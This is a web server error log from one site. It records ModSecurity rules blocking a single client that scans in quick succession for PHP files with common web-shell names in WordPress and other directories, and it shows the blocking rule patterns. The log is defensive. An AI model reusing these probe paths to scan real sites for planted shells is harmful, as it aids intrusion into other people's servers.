[Mon Apr 27 04:50:42.221890 2026] [:error] [pid 22751:tid 22769] [client 172.212.183.249:61649] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/function.php"] [unique_id "ae56oic0tCpVyVdFok9_1QAAAM8"]
[Mon Apr 27 04:50:43.628921 2026] [:error] [pid 22647:tid 22722] [client 172.212.183.249:62588] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/function.php"] [unique_id "ae56o2jfVULTjnk5SzN6kQAAAIw"]
[Mon Apr 27 04:50:45.921315 2026] [:error] [pid 22645:tid 22678] [client 172.212.183.249:62538] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ae56pX-Pq2r302zQbMaQEQAAABc"]
[Mon Apr 27 04:50:47.175908 2026] [:error] [pid 22751:tid 22777] [client 172.212.183.249:61758] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ae56pyc0tCpVyVdFok9_3QAAANc"]
[Mon Apr 27 04:50:48.538708 2026] [:error] [pid 22751:tid 22769] [client 172.212.183.249:61725] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ae56qCc0tCpVyVdFok9_4QAAAM8"]
[Mon Apr 27 04:50:49.544832 2026] [:error] [pid 22645:tid 22656] [client 172.212.183.249:61635] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "ae56qX-Pq2r302zQbMaQEwAAAAE"]
[Mon Apr 27 04:50:50.639309 2026] [:error] [pid 22647:tid 22716] [client 172.212.183.249:62599] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "ae56qmjfVULTjnk5SzN6owAAAIY"]
[Mon Apr 27 04:50:51.475331 2026] [:error] [pid 22647:tid 22721] [client 172.212.183.249:61632] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "ae56q2jfVULTjnk5SzN6pQAAAIs"]
[Mon Apr 27 04:50:53.005889 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:62626] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "ae56rSc0tCpVyVdFok9_5gAAANU"]
[Mon Apr 27 04:50:54.942742 2026] [:error] [pid 22751:tid 22759] [client 172.212.183.249:61745] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "ae56ric0tCpVyVdFok9_7QAAAMU"]
[Mon Apr 27 04:50:56.338728 2026] [:error] [pid 22646:tid 22697] [client 172.212.183.249:61245] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/security.php"] [unique_id "ae56sIk_HyZhTP6AYadzqAAAAE4"]
[Mon Apr 27 04:50:56.965731 2026] [:error] [pid 22646:tid 22696] [client 172.212.183.249:61639] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/security.php"] [unique_id "ae56sIk_HyZhTP6AYadzqQAAAE0"]
[Mon Apr 27 04:50:57.698554 2026] [:error] [pid 22646:tid 22707] [client 172.212.183.249:62628] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/security.php"] [unique_id "ae56sYk_HyZhTP6AYadzrQAAAFg"]
[Mon Apr 27 04:50:58.343522 2026] [:error] [pid 22645:tid 22663] [client 172.212.183.249:61642] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/security.php"] [unique_id "ae56sn-Pq2r302zQbMaQGgAAAAg"]
[Mon Apr 27 04:50:59.397380 2026] [:error] [pid 22645:tid 22678] [client 172.212.183.249:61682] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "ae56s3-Pq2r302zQbMaQHgAAABc"]
[Mon Apr 27 04:51:00.173348 2026] [:error] [pid 22751:tid 22764] [client 172.212.183.249:61661] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "ae56tCc0tCpVyVdFok9_9AAAAMo"]
[Mon Apr 27 04:51:01.919680 2026] [:error] [pid 22647:tid 22717] [client 172.212.183.249:61741] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "ae56tWjfVULTjnk5SzN6uAAAAIc"]
[Mon Apr 27 04:51:03.027367 2026] [:error] [pid 22645:tid 22662] [client 172.212.183.249:61237] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "ae56t3-Pq2r302zQbMaQIwAAAAc"]
[Mon Apr 27 04:51:03.715667 2026] [:error] [pid 22645:tid 22669] [client 172.212.183.249:62580] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "ae56t3-Pq2r302zQbMaQJAAAAA4"]
[Mon Apr 27 04:51:05.251840 2026] [:error] [pid 22645:tid 22667] [client 172.212.183.249:61207] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "ae56uX-Pq2r302zQbMaQJwAAAAw"]
[Mon Apr 27 04:51:06.480365 2026] [:error] [pid 22647:tid 22727] [client 172.212.183.249:61709] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "ae56umjfVULTjnk5SzN6xgAAAJE"]
[Mon Apr 27 04:51:08.203394 2026] [:error] [pid 22647:tid 22711] [client 172.212.183.249:61191] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "ae56vGjfVULTjnk5SzN6zgAAAIE"]
[Mon Apr 27 04:51:09.588387 2026] [:error] [pid 22751:tid 22760] [client 172.212.183.249:62606] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "ae56vSc0tCpVyVdFok-AAwAAAMY"]
[Mon Apr 27 04:51:10.361423 2026] [:error] [pid 22645:tid 22667] [client 172.212.183.249:61666] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "ae56vn-Pq2r302zQbMaQMAAAAAw"]
[Mon Apr 27 04:51:11.402021 2026] [:error] [pid 22646:tid 22707] [client 172.212.183.249:61231] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "ae56v4k_HyZhTP6AYadztgAAAFg"]
[Mon Apr 27 04:51:12.568758 2026] [:error] [pid 22647:tid 22729] [client 172.212.183.249:61685] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "ae56wGjfVULTjnk5SzN60wAAAJM"]
[Mon Apr 27 04:51:15.663936 2026] [:error] [pid 22646:tid 22705] [client 172.212.183.249:61223] [client 172.212.183.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "ae56w4k_HyZhTP6AYadzvwAAAFY"]
[Mon Apr 27 04:51:20.130171 2026] [:error] [pid 22751:tid 22777] [client 172.212.183.249:62532] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/radio.php"] [unique_id "ae56yCc0tCpVyVdFok-ACQAAANc"]
[Mon Apr 27 04:51:27.030661 2026] [:error] [pid 22646:tid 22696] [client 172.212.183.249:61652] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Mon Apr 27 04:51:27.219828 2026] [:error] [pid 22646:tid 22701] [client 172.212.183.249:61652] File does not exist: /usr/local/apache/htdocs/suspended-page/bless5.php
[Mon Apr 27 04:51:27.501959 2026] [:error] [pid 22646:tid 22702] [client 172.212.183.249:61652] [client 172.212.183.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ae56z4k_HyZhTP6AYadz2wAAAFM"]
[Mon Apr 27 04:51:29.434122 2026] [:error] [pid 22646:tid 22703] [client 172.212.183.249:61189] [client 172.212.183.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "ae560Yk_HyZhTP6AYadz3AAAAFQ"]
[Mon Apr 27 04:51:31.120049 2026] [:error] [pid 22751:tid 22762] [client 172.212.183.249:62585] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Mon Apr 27 04:51:31.310333 2026] [:error] [pid 22751:tid 22761] [client 172.212.183.249:62585] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Mon Apr 27 04:51:32.280615 2026] [:error] [pid 22751:tid 22772] [client 172.212.183.249:62585] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o1.php"] [unique_id "ae561Cc0tCpVyVdFok-ALAAAANI"]
[Mon Apr 27 04:51:34.400624 2026] [:error] [pid 22751:tid 22771] [client 172.212.183.249:61704] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o1.php"] [unique_id "ae561ic0tCpVyVdFok-ANgAAANE"]
[Mon Apr 27 04:51:35.931826 2026] [:error] [pid 22751:tid 22770] [client 172.212.183.249:61185] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o1.php"] [unique_id "ae561yc0tCpVyVdFok-AOgAAANA"]
[Mon Apr 27 04:51:37.231477 2026] [:error] [pid 22647:tid 22711] [client 172.212.183.249:57979] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o1.php"] [unique_id "ae562WjfVULTjnk5SzN68AAAAIE"]
[Mon Apr 27 04:51:38.183185 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:61713] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/juuuu.php"] [unique_id "ae562ic0tCpVyVdFok-ASAAAANU"]
[Mon Apr 27 04:51:39.424964 2026] [:error] [pid 22647:tid 22724] [client 172.212.183.249:62531] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/juuuu.php"] [unique_id "ae5622jfVULTjnk5SzN6-AAAAI4"]
[Mon Apr 27 04:51:40.864005 2026] [:error] [pid 22647:tid 22718] [client 172.212.183.249:62654] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/juuuu.php"] [unique_id "ae563GjfVULTjnk5SzN6_AAAAIg"]
[Mon Apr 27 04:51:43.190437 2026] [:error] [pid 22647:tid 22722] [client 172.212.183.249:62611] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/juuuu.php"] [unique_id "ae5632jfVULTjnk5SzN7AwAAAIw"]
[Mon Apr 27 04:51:44.484993 2026] [:error] [pid 22751:tid 22758] [client 172.212.183.249:62639] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ha.php"] [unique_id "ae564Cc0tCpVyVdFok-AUgAAAMQ"]
[Mon Apr 27 04:51:45.350369 2026] [:error] [pid 22751:tid 22759] [client 172.212.183.249:61226] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ha.php"] [unique_id "ae564Sc0tCpVyVdFok-AVQAAAMU"]
[Mon Apr 27 04:51:46.396983 2026] [:error] [pid 22647:tid 22710] [client 172.212.183.249:61723] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ha.php"] [unique_id "ae564mjfVULTjnk5SzN7CAAAAIA"]
[Mon Apr 27 04:51:47.957179 2026] [:error] [pid 22751:tid 22758] [client 172.212.183.249:61648] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ha.php"] [unique_id "ae564yc0tCpVyVdFok-AXQAAAMQ"]
[Mon Apr 27 04:51:49.125024 2026] [:error] [pid 22647:tid 22732] [client 172.212.183.249:62545] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gg.php"] [unique_id "ae565WjfVULTjnk5SzN7DgAAAJY"]
[Mon Apr 27 04:51:50.293634 2026] [:error] [pid 22646:tid 22705] [client 172.212.183.249:62584] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gg.php"] [unique_id "ae565ok_HyZhTP6AYadz4gAAAFY"]
[Mon Apr 27 04:51:51.374982 2026] [:error] [pid 22646:tid 22700] [client 172.212.183.249:62528] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gg.php"] [unique_id "ae5654k_HyZhTP6AYadz5AAAAFE"]
[Mon Apr 27 04:51:52.282846 2026] [:error] [pid 22646:tid 22696] [client 172.212.183.249:61716] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gg.php"] [unique_id "ae566Ik_HyZhTP6AYadz5wAAAE0"]
[Mon Apr 27 04:51:53.110879 2026] [:error] [pid 22646:tid 22704] [client 172.212.183.249:61752] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ae566Yk_HyZhTP6AYadz6QAAAFU"]
[Mon Apr 27 04:51:54.085012 2026] [:error] [pid 22646:tid 22683] [client 172.212.183.249:62635] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ae566ok_HyZhTP6AYadz7AAAAEA"]
[Mon Apr 27 04:51:54.805940 2026] [:error] [pid 22646:tid 22698] [client 172.212.183.249:61759] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ae566ok_HyZhTP6AYadz7QAAAE8"]
[Mon Apr 27 04:51:55.515278 2026] [:error] [pid 22647:tid 22710] [client 172.212.183.249:61728] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ae5662jfVULTjnk5SzN7GgAAAIA"]
[Mon Apr 27 04:51:56.241717 2026] [:error] [pid 22647:tid 22721] [client 172.212.183.249:61205] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/04.php"] [unique_id "ae567GjfVULTjnk5SzN7HQAAAIs"]
[Mon Apr 27 04:51:57.634626 2026] [:error] [pid 22647:tid 22731] [client 172.212.183.249:61640] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/04.php"] [unique_id "ae567WjfVULTjnk5SzN7JQAAAJU"]
[Mon Apr 27 04:51:58.528476 2026] [:error] [pid 22647:tid 22712] [client 172.212.183.249:61243] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/04.php"] [unique_id "ae567mjfVULTjnk5SzN7LQAAAII"]
[Mon Apr 27 04:52:00.473195 2026] [:error] [pid 22751:tid 22757] [client 172.212.183.249:61658] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/04.php"] [unique_id "ae568Cc0tCpVyVdFok-AewAAAMM"]
